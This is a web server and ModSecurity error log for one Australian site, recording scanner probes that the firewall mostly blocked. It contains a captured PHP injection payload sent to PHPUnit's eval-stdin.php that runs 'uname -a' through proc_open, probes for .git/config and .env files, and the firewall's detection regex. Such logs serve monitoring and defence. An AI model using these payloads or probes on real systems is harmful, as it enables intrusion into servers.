2026/03/10 23:02:32 [error] 3847#3847: *221955 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /ufa%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20168.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:32.213331 2026] [:error] [pid 3874:tid 3941] [client 62.84.185.63:45590] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abAyiOK9H96QUJV_mxZQiAAAAII"]
[Tue Mar 10 23:02:34.793227 2026] [:error] [pid 3874:tid 3946] [client 62.84.185.63:45628] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abAyiuK9H96QUJV_mxZQjQAAAIc"]
2026/03/10 23:02:34 [error] 3817#3817: *221988 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /ufa%20c4.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20c4.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:02:37 [error] 3835#3835: *222027 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /ufa%20sa.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20sa.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:37.361670 2026] [:error] [pid 3965:tid 3967] [client 62.84.185.63:45664] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abAyjZN2nrVwtq9b0rbmTwAAAMA"]
2026/03/10 23:02:40 [error] 3846#3846: *222056 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /ufa%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:02:40.245734 2026] [:error] [pid 3872:tid 3900] [client 62.84.185.63:45704] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abAykNseKmNoS38Y-zvf3QAAABg"]
2026/03/10 23:03:13 [error] 3831#3831: *222431 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:03:13.477720 2026] [:error] [pid 3872:tid 3878] [client 62.84.185.63:46132] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abAysdseKmNoS38Y-zvf9AAAAAI"]
2026/03/10 23:03:16 [error] 3847#3847: *222464 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:03:16.201961 2026] [:error] [pid 3872:tid 3891] [client 62.84.185.63:46168] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abAytNseKmNoS38Y-zvf9gAAAA8"]
2026/03/10 23:03:18 [error] 3847#3847: *222493 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:03:18.943314 2026] [:error] [pid 3965:tid 3975] [client 62.84.185.63:46200] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abAytpN2nrVwtq9b0rbmxgAAAMg"]
2026/03/10 23:03:21 [error] 3833#3833: *222531 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:03:21.680728 2026] [:error] [pid 3872:tid 3881] [client 62.84.185.63:46228] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abAyudseKmNoS38Y-zvf_gAAAAU"]
2026/03/10 23:03:24 [error] 3847#3847: *222563 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:03:24.191781 2026] [:error] [pid 3874:tid 3955] [client 62.84.185.63:46266] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abAyvOK9H96QUJV_mxZQzgAAAJA"]
[Tue Mar 10 23:03:26.912908 2026] [:error] [pid 3965:tid 3970] [client 62.84.185.63:46302] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abAyvpN2nrVwtq9b0rbm2AAAAMM"]
2026/03/10 23:03:26 [error] 3846#3846: *222596 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "measureyourbrand.com.au"
[Wed Mar 11 00:26:00.470664 2026] [:error] [pid 6892:tid 7098] [client 104.248.144.168:58762] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGBRWb70O8HM28tGePgAAABE"]
[Wed Mar 11 00:26:00.666167 2026] [:error] [pid 7307:tid 7319] [client 104.248.144.168:58768] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGOtE6Vj1tEJkynGoAQAAAMo"]
[Wed Mar 11 00:26:00.848655 2026] [:error] [pid 7307:tid 7326] [client 104.248.144.168:58772] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGOtE6Vj1tEJkynGoAgAAANE"]
[Wed Mar 11 00:26:01.234356 2026] [:error] [pid 7307:tid 7323] [client 104.248.144.168:58778] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGetE6Vj1tEJkynGoBAAAAM4"]
[Wed Mar 11 00:26:01.641820 2026] [:error] [pid 7307:tid 7317] [client 104.248.144.168:58786] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGetE6Vj1tEJkynGoBwAAAMg"]
[Wed Mar 11 00:26:02.039513 2026] [:error] [pid 6894:tid 7184] [client 104.248.144.168:58794] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abBGGp4b1T0HQdoE97LO9AAAAII"]
2026/03/11 03:52:27 [error] 3468#3468: *427057 access forbidden by rule, client: 68.183.151.56, server: measureyourbrand.com.au, request: "GET /.git/config HTTP/1.1", host: "www.measureyourbrand.com.au"
2026/03/11 06:27:31 [error] 3463#3463: *530223 access forbidden by rule, client: 159.65.167.144, server: mail.measureyourbrand.com.au, request: "GET /.git/config HTTP/1.1", host: "mail.measureyourbrand.com.au"
2026/03/11 06:52:26 [error] 3468#3468: *544398 access forbidden by rule, client: 159.65.188.29, server: cpanel.measureyourbrand.com.au, request: "GET /.git/config HTTP/1.1", host: "cpanel.measureyourbrand.com.au"
[Wed Mar 11 07:48:35.103434 2026] [:error] [pid 6117:tid 6141] [client 209.87.169.125:40264] [client 209.87.169.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abCt08U0P9gyi5rKFp6j7QAAAAU"]
[Wed Mar 11 08:31:39.133891 2026] [:error] [pid 6222:tid 6224] [client 104.248.144.168:43162] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC363s7MIv-0SYBFu3EywAAAMA"]
[Wed Mar 11 08:31:39.386591 2026] [:error] [pid 6222:tid 6248] [client 104.248.144.168:43170] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC363s7MIv-0SYBFu3EzQAAANg"]
[Wed Mar 11 08:31:39.624699 2026] [:error] [pid 11796:tid 11798] [client 104.248.144.168:43172] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC36wEDXoQrlStpO9AmogAAAYA"]
[Wed Mar 11 08:31:40.147648 2026] [:error] [pid 6222:tid 6241] [client 104.248.144.168:43184] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC37Hs7MIv-0SYBFu3EzgAAANE"]
[Wed Mar 11 08:31:40.572519 2026] [:error] [pid 6119:tid 6210] [client 104.248.144.168:43190] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC37G9mEGP4iomVkSZRNgAAAJM"]
[Wed Mar 11 08:31:41.072021 2026] [:error] [pid 6222:tid 6242] [client 104.248.144.168:43200] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abC37Xs7MIv-0SYBFu3E0AAAANI"]
2026/03/11 08:43:55 [error] 3465#3465: *616379 access forbidden by rule, client: 159.65.167.144, server: webmail.measureyourbrand.com.au, request: "GET /.git/config HTTP/1.1", host: "webmail.measureyourbrand.com.au"
[Wed Mar 11 10:33:21.022504 2026] [:error] [pid 53955:tid 54030] [client 49.151.19.100:38100] [client 49.151.19.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abDUcdP1Uf6qBkbxZg-CBgAAAIs"]
[Wed Mar 11 15:20:13.471296 2026] [:error] [pid 23482:tid 23505] [client 134.199.164.121:60818] [client 134.199.164.121] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "abEXrcrYaTAnN_mLXymi5AAAARQ"]
2026/03/11 15:20:13 [error] 53948#53948: *847463 access forbidden by rule, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET /.git/config HTTP/1.1", host: "measureyourbrand.com.au"
2026/03/11 15:20:13 [error] 53948#53948: *847463 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com/"
[Wed Mar 11 15:20:13.528816 2026] [:error] [pid 53954:tid 54009] [client 134.199.164.121:60860] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abEXrbbD1J_Nhe6jce2IpQAAAFY"], referer: https://measureyourbrand.com/
[Wed Mar 11 15:20:13.543647 2026] [:error] [pid 45143:tid 45166] [client 134.199.164.121:60868] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abEXrSEXSpYdWImkpzau8QAAAZU"]
2026/03/11 15:20:13 [error] 53948#53948: *847472 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "POST / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au"
[Wed Mar 11 15:20:13.544036 2026] [:error] [pid 23482:tid 23486] [client 134.199.164.121:60870] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "abEXrcrYaTAnN_mLXymi8wAAAQE"]
2026/03/11 15:20:13 [error] 53943#53943: *847432 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "http://103.4.122.14:8181/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", host: "measureyourbrand.com.au"
[Wed Mar 11 15:20:13.544802 2026] [:error] [pid 23482:tid 23502] [client 134.199.164.121:60872] [client 134.199.164.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/laravel-filemanager/js/script.js"] [unique_id "abEXrcrYaTAnN_mLXymi9AAAARE"]
2026/03/11 15:20:13 [error] 53945#53945: *847433 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "GET /vendor/laravel-filemanager/js/script.js HTTP/1.1", upstream: "http://103.4.122.14:8181/vendor/laravel-filemanager/js/script.js", host: "measureyourbrand.com.au"
2026/03/11 15:20:13 [error] 53948#53948: *847463 upstream prematurely closed connection while reading response header from upstream, client: 134.199.164.121, server: measureyourbrand.com.au, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", upstream: "http://103.4.122.14:8181/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", host: "measureyourbrand.com.au"
